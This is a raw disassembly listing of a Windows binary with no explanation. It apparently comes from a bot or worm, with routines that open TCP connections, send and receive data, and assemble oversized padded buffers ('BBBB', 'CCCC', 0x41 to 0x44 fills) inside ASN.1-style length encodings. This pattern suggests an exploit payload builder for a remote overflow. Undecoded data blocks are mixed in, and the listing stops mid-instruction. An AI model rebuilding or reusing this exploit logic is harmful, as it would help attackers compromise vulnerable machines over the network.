75FF006Ah, 28858DE8h, 50FFFFFEh, 0FEC0858Dh, 0FF50FFFFh dd 2CE8C075h, 83FFFFBEh, 858D14C4h, 0FFFFFE28h, 81EAE850h dd 8B590000h, 2483D045h, 4E1864C5h, 0B8680000h, 9000000Bh dd 390DF7E8h, 0E80B6A02h, 0FFFFE4C9h, 1F88359h, 60680B75h dd 0E8004E38h, 23F16F3h, 0D075FF90h, 0FFE5D9E8h, 6A59FFh dd 0DCEE890h, 5E5F023Fh, 4C2C9h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F238 proc near var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = word ptr -0C0h var_BE = word ptr -0BEh var_BC = dword ptr -0BCh var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0C8h push esi push edi mov esi, [ebp+arg_0] push 2Bh pop ecx lea edi, [ebp+var_AC] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_B0], eax mov eax, [ebp+var_B0] mov dword ptr [eax+0A8h], 1 push 10h push 0 lea eax, [ebp+var_C0] push eax call sub_421410 add esp, 0Ch mov [ebp+var_C0], 2 push [ebp+var_28] call dword_4E1700 ; ntohs mov [ebp+var_BE], ax mov eax, [ebp+var_18] mov [ebp+var_BC], eax push 6 push 1 push 2 call dword_4E1780 ; socket mov [ebp+var_C4], eax cmp [ebp+var_C4], 0FFFFFFFFh jz loc_40F340 push 10h lea eax, [ebp+var_C0] push eax push [ebp+var_C4] call dword_4E16A8 ; connect mov [ebp+var_C8], eax mov eax, [ebp+var_1C] imul eax, 234h mov ecx, [ebp+var_C4] mov dword_454624[eax], ecx cmp [ebp+var_C8], 0FFFFFFFFh jz short loc_40F340 push [ebp+var_28] push [ebp+var_18] call dword_4E178C ; inet_ntoa push eax push offset dword_449874 push offset dword_4E4224 call sub_4219C0 add esp, 10h push 0 push [ebp+var_10] push offset dword_4E4224 lea eax, [ebp+var_A8] push eax push [ebp+var_AC] call sub_40B00F add esp, 14h push offset dword_4E4224 call sub_4173DC pop ecx loc_40F340: ; CODE XREF: sub_40F238+80j ; sub_40F238+BDj push [ebp+var_C4] call dword_4E1798 ; closesocket xor eax, eax pop edi pop esi leave retn 4 sub_40F238 endp ; --------------------------------------------------------------------------- dword_40F354 dd 81EC8B55h, 13CECh, 8B575600h, 2B6A0875h, 0D0BD8D59h ; DATA XREF: sub_4021E5+7959o dd 0F3FFFFFEh, 8458BA5h, 0FECC8589h, 858BFFFFh, 0FFFFFECCh dd 0A480C7h, 10000h, 16A0000h, 0FC08558h, 11984h, 54B5FF00h dd 0FFFFFFFFh, 0FFFF64B5h, 8C15FFFFh, 50004E17h, 44989C68h dd 80458D00h, 260EE850h, 0C4830001h, 1FF6810h, 458D0000h dd 858B5080h, 0FFFFFF60h, 234C069h, 18050000h, 50004544h dd 1209BE8h, 0CC48300h, 0FEC8858Dh, 6A50FFFFh, 0D0858D00h dd 50FFFFFEh, 40F23868h, 6A006A00h, 0D73E800h, 89900239h dd 0FFFEC485h, 0C4BD83FFh, 0FFFFFEh, 0BD831374h, 0FFFFFF78h dd 6A0A7500h, 0E9E89032h, 0EB02390Bh, 0C4B5FFEDh, 0E8FFFFFEh dd 2370CB2h, 0CC858B90h, 83FFFFFEh, 0A8A0h, 858B0000h dd 0FFFFFECCh, 8CB0FFh, 0E8900000h, 2390BBCh, 858D046Ah dd 0FFFFFF64h, 7C858D50h, 50FFFFFFh, 136F7E8h, 0CC48300h dd 0FF7CB5FFh, 15FFFFFFh, 4E1628h, 0FF7C8589h, 858BFFFFh dd 0FFFFFF7Ch, 7C858940h, 0FFFFFFFFh, 0FFFF7CB5h, 0FC15FFFFh dd 89004E16h, 0FFFF7C85h, 8D046AFFh, 0FFFF7C85h, 858D50FFh dd 0FFFFFF64h, 36AEE850h, 0C4830001h, 0FEDCE90Ch, 0B5FFFFFFh dd 0FFFFFF60h, 0FFE34DE8h, 0C03359FFh, 0C2C95E5Fh db 4, 0 word_40F4BE dw 8B55h ; DATA XREF: sub_4021E5+7F4Eo dd 38EC81ECh, 56000001h, 8758B57h, 8D592B6Ah, 0FFFED4BDh dd 8BA5F3FFh, 85890845h, 0FFFFFED0h, 0FED0858Bh, 80C7FFFFh dd 0A4h, 1, 8558016Ah, 0D5840FC0h, 0FF000000h, 0FFFF58B5h dd 68B5FFFFh, 0FFFFFFFFh, 4E178C15h, 0C4685000h, 8D004498h dd 0E8508045h, 124A4h, 6810C483h, 1FFh, 5080458Dh, 0FF64858Bh dd 0C069FFFFh, 234h, 45441805h, 31E85000h, 8300011Fh, 858D0CC4h dd 0FFFFFECCh, 8D006A50h, 0FFFED485h, 386850FFh, 6A0040F2h dd 0E8006A00h, 2390C09h, 0C8858990h, 83FFFFFEh, 0FFFEC8BDh dd 137400FFh, 0FF7CBD83h, 7500FFFFh, 90326A0Ah, 390A7FE8h dd 0FFEDEB02h, 0FFFEC8B5h, 47E890FFh, 8B02370Bh, 0FFFED085h dd 0A8A083FFh, 0 dd 0FED0858Bh, 0B0FFFFFFh, 8Ch, 0A52E890h, 858B0239h, 0FFFFFF58h dd 0FF5C853Bh, 275FFFFh, 858B12EBh, 0FFFFFF58h, 58858940h dd 0E9FFFFFFh, 0FFFFFF20h, 0FF68B5FFh, 15FFFFFFh, 4E178Ch dd 98F06850h, 458D0044h, 0D5E85080h, 83000123h, 6A0CC4h dd 0FF70B5FFh, 458DFFFFh, 858D5080h, 0FFFFFED8h, 0D4B5FF50h dd 0E8FFFFFEh, 0FFFFBA03h, 0FF14C483h, 0FFFF64B5h, 0E1E8E8FFh dd 3359FFFFh, 0C95E5FC0h ; --------------------------------------------------------------------------- retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F623 proc near ; CODE XREF: sub_40F9E5+Fp ; sub_40F9E5+49p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] and dword ptr [eax], 0 mov eax, [ebp+var_4] leave retn sub_40F623 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch mov [ebp-0Ch], ecx push dword ptr [ebp+8] call sub_41EBD0 pop ecx push eax push dword ptr [ebp+8] lea ecx, [ebp-8] call sub_40F66E mov ecx, [eax] mov eax, [eax+4] mov edx, [ebp-0Ch] mov [edx], ecx mov [edx+4], eax mov eax, [ebp-0Ch] leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F66E proc near ; CODE XREF: .XComp0:0040F655p ; sub_40F9E5+145p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx push [ebp+arg_4] call sub_41EDA0 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40F68A jmp short loc_40F6BC ; --------------------------------------------------------------------------- loc_40F68A: ; CODE XREF: sub_40F66E+18j push [ebp+arg_4] push 0 push [ebp+var_4] call sub_421410 add esp, 0Ch push [ebp+arg_4] push [ebp+arg_0] push [ebp+var_4] call sub_422B50 add esp, 0Ch mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] mov [eax+4], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax], ecx loc_40F6BC: ; CODE XREF: sub_40F66E+1Aj mov eax, [ebp+var_8] leave retn 8 sub_40F66E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6C3 proc near ; CODE XREF: sub_40F85E+1Ep ; sub_40F8F2+1Dp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx mov eax, [ebp+arg_4] add eax, [ebp+arg_C] push eax call sub_41EDA0 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40F6E3 jmp short loc_40F731 ; --------------------------------------------------------------------------- loc_40F6E3: ; CODE XREF: sub_40F6C3+1Cj mov eax, [ebp+arg_4] add eax, [ebp+arg_C] push eax push 0 push [ebp+var_4] call sub_421410 add esp, 0Ch push [ebp+arg_4] push [ebp+arg_0] push [ebp+var_4] call sub_422B50 add esp, 0Ch push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+var_4] add eax, [ebp+arg_4] push eax call sub_422B50 add esp, 0Ch mov eax, [ebp+arg_4] add eax, [ebp+arg_C] mov ecx, [ebp+var_8] mov [ecx+4], eax mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax], ecx loc_40F731: ; CODE XREF: sub_40F6C3+1Ej mov eax, [ebp+var_8] leave retn 10h sub_40F6C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F738 proc near ; CODE XREF: sub_40F85E+71p ; sub_40F85E+8Bp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short loc_40F752 mov eax, [ebp+var_4] push dword ptr [eax] call sub_41F930 pop ecx loc_40F752: ; CODE XREF: sub_40F738+Dj mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] and dword ptr [eax], 0 leave retn sub_40F738 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F761 proc near ; CODE XREF: sub_40F85E+26p ; sub_40F969+Cp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], ecx mov eax, [ebp+var_C] cmp dword ptr [eax+4], 0FFFFh jl short loc_40F77D xor al, al jmp locret_40F85C ; --------------------------------------------------------------------------- loc_40F77D: ; CODE XREF: sub_40F761+13j mov eax, [ebp+var_C] cmp dword ptr [eax+4], 7Fh jge short loc_40F78F mov [ebp+var_8], 1 jmp short loc_40F796 ; --------------------------------------------------------------------------- loc_40F78F: ; CODE XREF: sub_40F761+23j mov [ebp+var_8], 3 loc_40F796: ; CODE XREF: sub_40F761+2Cj mov eax, [ebp+var_C] mov eax, [eax+4] add eax, [ebp+var_8] push eax call sub_41EDA0 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40F7B6 xor al, al jmp locret_40F85C ; --------------------------------------------------------------------------- loc_40F7B6: ; CODE XREF: sub_40F761+4Cj mov eax, [ebp+var_C] mov eax, [eax+4] add eax, [ebp+var_8] push eax push 0 push [ebp+var_4] call sub_421410 add esp, 0Ch cmp [ebp+var_8], 1 jnz short loc_40F7F8 mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov cl, [ecx+4] mov [eax], cl mov eax, [ebp+var_C] push dword ptr [eax+4] mov eax, [ebp+var_C] push dword ptr [eax] mov eax, [ebp+var_4] inc eax push eax call sub_422B50 add esp, 0Ch jmp short loc_40F838 ; --------------------------------------------------------------------------- loc_40F7F8: ; CODE XREF: sub_40F761+70j mov eax, [ebp+var_4] mov byte ptr [eax], 82h mov eax, [ebp+var_C] mov eax, [eax+4] sar eax, 8 mov ecx, [ebp+var_4] mov [ecx+1], al mov eax, [ebp+var_C] mov eax, [eax+4] and eax, 0FFh mov ecx, [ebp+var_4] mov [ecx+2], al mov eax, [ebp+var_C] push dword ptr [eax+4] mov eax, [ebp+var_C] push dword ptr [eax] mov eax, [ebp+var_4] add eax, 3 push eax call sub_422B50 add esp, 0Ch loc_40F838: ; CODE XREF: sub_40F761+95j mov eax, [ebp+var_C] push dword ptr [eax] call sub_41F930 pop ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_8] add ecx, [eax+4] mov eax, [ebp+var_C] mov [eax+4], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov [eax], ecx mov al, 1 locret_40F85C: ; CODE XREF: sub_40F761+17j ; sub_40F761+50j leave retn sub_40F761 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F85E proc near ; CODE XREF: sub_40F9E5+A5p ; sub_40F9E5+100p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], ecx mov eax, [ebp+var_10] push dword ptr [eax+4] mov eax, [ebp+var_10] push dword ptr [eax] push 1 push offset dword_4E4434 lea ecx, [ebp+var_C] call sub_40F6C3 lea ecx, [ebp+var_C] call sub_40F761 mov eax, [ebp+var_8] inc eax push eax call sub_41EDA0 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40F8A1 xor al, al jmp short locret_40F8F0 ; --------------------------------------------------------------------------- loc_40F8A1: ; CODE XREF: sub_40F85E+3Dj mov eax, [ebp+var_8] inc eax push eax push 0 push [ebp+var_4] call sub_421410 add esp, 0Ch mov eax, [ebp+var_4] mov byte ptr [eax], 3 push [ebp+var_8] push [ebp+var_C] mov eax, [ebp+var_4] inc eax push eax call sub_422B50 add esp, 0Ch mov ecx, [ebp+var_10] call sub_40F738 mov eax, [ebp+var_8] inc eax mov ecx, [ebp+var_10] mov [ecx+4], eax mov eax, [ebp+var_10] mov ecx, [ebp+var_4] mov [eax], ecx lea ecx, [ebp+var_C] call sub_40F738 mov al, 1 locret_40F8F0: ; CODE XREF: sub_40F85E+41j leave retn sub_40F85E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F8F2 proc near ; CODE XREF: sub_40F930+17p ; sub_40F950+10p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], ecx push [ebp+arg_4] push [ebp+arg_0] mov eax, [ebp+var_C] push dword ptr [eax+4] mov eax, [ebp+var_C] push dword ptr [eax] lea ecx, [ebp+var_8] call sub_40F6C3 mov ecx, [ebp+var_C] call sub_40F738 mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx mov al, 1 leave retn 8 sub_40F8F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F930 proc near ; CODE XREF: sub_40F9E5+110p ; sub_40F9E5+189p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push [ebp+arg_0] call sub_41EBD0 pop ecx push eax push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_40F8F2 leave retn 4 sub_40F930 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F950 proc near ; CODE XREF: sub_40F9B9+10p ; sub_40F9E5+1D4p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push [ebp+arg_4] push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_40F8F2 leave retn 8 sub_40F950 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F969 proc near ; CODE XREF: sub_40F9B9+23p ; sub_40F9E5+ADp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], ecx mov ecx, [ebp+var_C] call sub_40F761 movzx eax, al test eax, eax jnz short loc_40F985 xor al, al jmp short locret_40F9B7 ; --------------------------------------------------------------------------- loc_40F985: ; CODE XREF: sub_40F969+16j mov eax, [ebp+var_C] push dword ptr [eax+4] mov eax, [ebp+var_C] push dword ptr [eax] push 1 push (offset loc_449C87+1) lea ecx, [ebp+var_8] call sub_40F6C3 mov ecx, [ebp+var_C] call sub_40F738 mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx mov al, 1 locret_40F9B7: ; CODE XREF: sub_40F969+1Aj leave retn sub_40F969 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F9B9 proc near ; CODE XREF: sub_40F9E5+15Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push [ebp+arg_4] push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_40F950 movzx eax, al test eax, eax jnz short loc_40F9D9 xor al, al jmp short locret_40F9E1 ; --------------------------------------------------------------------------- loc_40F9D9: ; CODE XREF: sub_40F9B9+1Aj mov ecx, [ebp+var_4] call sub_40F969 locret_40F9E1: ; CODE XREF: sub_40F9B9+1Ej leave retn 8 sub_40F9B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F9E5 proc near ; CODE XREF: .XComp0:00410567p var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = byte ptr -840h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h lea ecx, [ebp+var_848] call sub_40F623 cmp [ebp+arg_8], 408h jg short loc_40FA0F mov eax, [ebp+arg_10] add eax, 8 cmp eax, 408h jbe short loc_40FA2B loc_40FA0F: ; CODE XREF: sub_40F9E5+1Bj mov eax, [ebp+arg_0] mov ecx, [ebp+var_848] mov [eax], ecx mov ecx, [ebp+var_844] mov [eax+4], ecx mov eax, [ebp+arg_0] jmp locret_40FD9D ; --------------------------------------------------------------------------- loc_40FA2B: ; CODE XREF: sub_40F9E5+28j lea ecx, [ebp+var_10] call sub_40F623 lea ecx, [ebp+var_28] call sub_40F623 lea ecx, [ebp+var_858] call sub_40F623 lea ecx, [ebp+var_40] call sub_40F623 lea ecx, [ebp+var_38] call sub_40F623 lea ecx, [ebp+var_18] call sub_40F623 lea ecx, [ebp+var_850] call sub_40F623 push 4 push offset dword_449928 lea ecx, [ebp+var_10] call sub_40F8F2 push 3 push offset dword_449930 lea ecx, [ebp+var_10] call sub_40F8F2 lea ecx, [ebp+var_10] call sub_40F85E lea ecx, [ebp+var_10] call sub_40F969 push 800h push 42h lea eax, [ebp+var_840] push eax call sub_421410 add esp, 0Ch push 8 push offset aRbrbrbrb ; "BBBB" lea ecx, [ebp+var_28] call sub_40F8F2 push [ebp+arg_10] push [ebp+arg_C] lea ecx, [ebp+var_28] call sub_40F8F2 mov eax, 409h sub eax, [ebp+var_24] push eax lea eax, [ebp+var_840] push eax lea ecx, [ebp+var_28] call sub_40F8F2 lea ecx, [ebp+var_28] call sub_40F85E push offset loc_449C8C lea ecx, [ebp+var_858] call sub_40F930 lea ecx, [ebp+var_858] call sub_40F85E push 800h push 44h lea eax, [ebp+var_840] push eax call sub_421410 add esp, 0Ch push 410h lea eax, [ebp+var_840] push eax lea ecx, [ebp+var_20] call sub_40F66E lea ecx, [ebp+var_20] call sub_40F85E push [ebp+var_1C] push [ebp+var_20] lea ecx, [ebp+var_858] call sub_40F9B9 lea ecx, [ebp+var_20] call sub_40F738 push 800h push 43h lea eax, [ebp+var_840] push eax call sub_421410 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_40] call sub_40F930 push 4 push offset dword_449934 lea ecx, [ebp+var_40] call sub_40F8F2 push [ebp+arg_8] push [ebp+arg_4] lea ecx, [ebp+var_40] call sub_40F8F2 mov eax, 408h sub eax, [ebp+arg_8] push eax lea eax, [ebp+var_840] push eax lea ecx, [ebp+var_40] call sub_40F8F2 lea ecx, [ebp+var_40] call sub_40F85E push [ebp+var_3C] push [ebp+var_40] lea ecx, [ebp+var_38] call sub_40F950 push [ebp+var_854] push [ebp+var_858] lea ecx, [ebp+var_38] call sub_40F950 lea ecx, [ebp+var_38] call sub_40F969 lea ecx, [ebp+var_40] call sub_40F738 lea ecx, [ebp+var_858] call sub_40F738 push [ebp+var_24] push [ebp+var_28] lea ecx, [ebp+var_18] call sub_40F950 push [ebp+var_C] push [ebp+var_10] lea ecx, [ebp+var_18] call sub_40F950 push [ebp+var_34] push [ebp+var_38] lea ecx, [ebp+var_18] call sub_40F950 lea ecx, [ebp+var_18] call sub_40F969 lea ecx, [ebp+var_28] call sub_40F738 lea ecx, [ebp+var_10] call sub_40F738 lea ecx, [ebp+var_38] call sub_40F738 push 800h push 41h lea eax, [ebp+var_840] push eax call sub_421410 add esp, 0Ch push 400h lea eax, [ebp+var_840] push eax lea ecx, [ebp+var_850] call sub_40F8F2 lea ecx, [ebp+var_850] call sub_40F85E push 2 push offset dword_449CA0 lea ecx, [ebp+var_850] call sub_40F8F2 push [ebp+var_14] push [ebp+var_18] lea ecx, [ebp+var_850] call sub_40F950 lea ecx, [ebp+var_850] call sub_40F969 lea ecx, [ebp+var_18] call sub_40F738 lea ecx, [ebp+var_8] call sub_40F623 lea ecx, [ebp+var_30] call sub_40F623 push [ebp+var_84C] push [ebp+var_850] lea ecx, [ebp+var_8] call sub_40F950 lea ecx, [ebp+var_8] call sub_40F761 lea ecx, [ebp+var_850] call sub_40F738 push offset dword_449CA4 lea ecx, [ebp+var_30] call sub_40F930 push [ebp+var_4] push [ebp+var_8] lea ecx, [ebp+var_30] call sub_40F950 lea ecx, [ebp+var_30] call sub_40F761 lea ecx, [ebp+var_8] call sub_40F738 push offset dword_449CA8 lea ecx, [ebp+var_8] call sub_40F930 push [ebp+var_2C] push [ebp+var_30] lea ecx, [ebp+var_8] call sub_40F950 lea ecx, [ebp+var_8] call sub_40F761 lea ecx, [ebp+var_30] call sub_40F738 push offset dword_449CAC lea ecx, [ebp+var_30] call sub_40F930 push [ebp+var_4] push [ebp+var_8] lea ecx, [ebp+var_30] call sub_40F950 lea ecx, [ebp+var_30] call sub_40F761 lea ecx, [ebp+var_8] call sub_40F738 push offset dword_449CB8 lea ecx, [ebp+var_848] call sub_40F930 push [ebp+var_2C] push [ebp+var_30] lea ecx, [ebp+var_848] call sub_40F950 lea ecx, [ebp+var_30] call sub_40F738 mov eax, [ebp+arg_0] mov ecx, [ebp+var_848] mov [eax], ecx mov ecx, [ebp+var_844] mov [eax+4], ecx mov eax, [ebp+arg_0] locret_40FD9D: ; CODE XREF: sub_40F9E5+41j leave retn sub_40F9E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FD9F proc near ; CODE XREF: sub_40FF4A+177p ; sub_40FF4A+1BEp ... var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h and [ebp+var_208], 0 and [ebp+var_104], 0 loc_40FDB6: ; CODE XREF: sub_40FD9F+89j and [ebp+var_214], 0 jmp short loc_40FDCC ; --------------------------------------------------------------------------- loc_40FDBF: ; CODE XREF: sub_40FD9F:loc_40FDEEj mov eax, [ebp+var_214] inc eax mov [ebp+var_214], eax loc_40FDCC: ; CODE XREF: sub_40FD9F+1Ej mov eax, [ebp+var_214] cmp eax, [ebp+var_208] jnb short loc_40FDF0 mov eax, [ebp+var_214] mov eax, [ebp+eax*4+var_204] cmp eax, [ebp+arg_0] jnz short loc_40FDEE jmp short loc_40FDF0 ; --------------------------------------------------------------------------- loc_40FDEE: ; CODE XREF: sub_40FD9F+4Bj jmp short loc_40FDBF ; --------------------------------------------------------------------------- loc_40FDF0: ; CODE XREF: sub_40FD9F+39j ; sub_40FD9F+4Dj mov eax, [ebp+var_214] cmp eax, [ebp+var_208] jnz short loc_40FE24 cmp [ebp+var_208], 40h jnb short loc_40FE24 mov eax, [ebp+var_214] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_204], ecx mov eax, [ebp+var_208] inc eax mov [ebp+var_208], eax loc_40FE24: ; CODE XREF: sub_40FD9F+5Dj ; sub_40FD9F+66j xor eax, eax test eax, eax jnz short loc_40FDB6 loc_40FE2A: ; CODE XREF: sub_40FD9F+FDj and [ebp+var_218], 0 jmp short loc_40FE40 ; --------------------------------------------------------------------------- loc_40FE33: ; CODE XREF: sub_40FD9F:loc_40FE62j mov eax, [ebp+var_218] inc eax mov [ebp+var_218], eax loc_40FE40: ; CODE XREF: sub_40FD9F+92j mov eax, [ebp+var_218] cmp eax, [ebp+var_104] jnb short loc_40FE64 mov eax, [ebp+var_218] mov eax, [ebp+eax*4+var_100] cmp eax, [ebp+arg_0] jnz short loc_40FE62 jmp short loc_40FE64 ; --------------------------------------------------------------------------- loc_40FE62: ; CODE XREF: sub_40FD9F+BFj jmp short loc_40FE33 ; --------------------------------------------------------------------------- loc_40FE64: ; CODE XREF: sub_40FD9F+ADj ; sub_40FD9F+C1j mov eax, [ebp+var_218] cmp eax, [ebp+var_104] jnz short loc_40FE98 cmp [ebp+var_104], 40h jnb short loc_40FE98 mov eax, [ebp+var_218] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_100], ecx mov eax, [ebp+var_104] inc eax mov [ebp+var_104], eax loc_40FE98: ; CODE XREF: sub_40FD9F+D1j ; sub_40FD9F+DAj xor eax, eax test eax, eax jnz short loc_40FE2A mov [ebp+var_210], 0Ah and [ebp+var_20C], 0 lea eax, [ebp+var_210] push eax lea eax, [ebp+var_104] push eax push 0 lea eax, [ebp+var_208] push eax mov eax, [ebp+arg_0] inc eax push eax call near ptr 71AB2DC0h nop cmp eax, 1 jz short loc_40FEDA xor eax, eax jmp short locret_40FF03 ; --------------------------------------------------------------------------- loc_40FEDA: ; CODE XREF: sub_40FD9F+135j lea eax, [ebp+var_208] push eax push [ebp+arg_0] call sub_43D456 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40FEF1 xor eax, eax jmp short locret_40FF03 ; --------------------------------------------------------------------------- loc_40FEF1: ; CODE XREF: sub_40FD9F+14Cj push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4E1718 ; recv locret_40FF03: ; CODE XREF: sub_40FD9F+139j ; sub_40FD9F+150j leave retn sub_40FD9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF05 proc near ; CODE XREF: sub_40FF4A+147p ; sub_40FF4A+18Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4E16FC ; ntohl mov [ebp+var_4], eax push 0 push 4 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_4E1750 ; send cmp eax, 4 jz short loc_40FF2F xor al, al jmp short locret_40FF48 ; --------------------------------------------------------------------------- loc_40FF2F: ; CODE XREF: sub_40FF05+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4E1750 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax locret_40FF48: ; CODE XREF: sub_40FF05+28j leave retn sub_40FF05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF4A proc near ; CODE XREF: sub_410120+55p ; .XComp0:004106C1p var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10Ch mov eax, [ebp+arg_8] add eax, 41h mov [ebp+var_108], eax push [ebp+var_108] call sub_41EDA0 pop ecx mov [ebp+var_10C], eax cmp [ebp+var_10C], 0 jnz short loc_40FF81 xor al, al jmp locret_41011E ; --------------------------------------------------------------------------- loc_40FF81: ; CODE XREF: sub_40FF4A+2Ej push [ebp+var_108] push 0 push [ebp+var_10C] call sub_421410 add esp, 0Ch and [ebp+var_104], 0 push 2Fh push offset dword_4499C4 push [ebp+var_10C] call sub_422B50 add esp, 0Ch mov eax, [ebp+var_104] add eax, 2Fh mov [ebp+var_104], eax mov eax, [ebp+var_10C] add eax, [ebp+var_104] mov cx, word ptr [ebp+arg_8] mov [eax], cx mov eax, [ebp+var_104] inc eax inc eax mov [ebp+var_104], eax push 8 push offset dword_4499F4 mov eax, [ebp+var_10C] add eax, [ebp+var_104] push eax call sub_422B50 add esp, 0Ch mov eax, [ebp+var_104] add eax, 8 mov [ebp+var_104], eax mov eax, [ebp+var_10C] add eax, [ebp+var_104] mov cx, word ptr [ebp+arg_8] mov [eax], cx mov eax, [ebp+var_104] inc eax inc eax mov [ebp+var_104], eax push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+var_10C] add eax, [ebp+var_104] push eax call sub_422B50 add esp, 0Ch mov eax, [ebp+var_104] add eax, [ebp+arg_8] mov [ebp+var_104], eax push 6 push offset dword_4E442C mov eax, [ebp+var_10C] add eax, [ebp+var_104] push eax call sub_422B50 add esp, 0Ch mov eax, 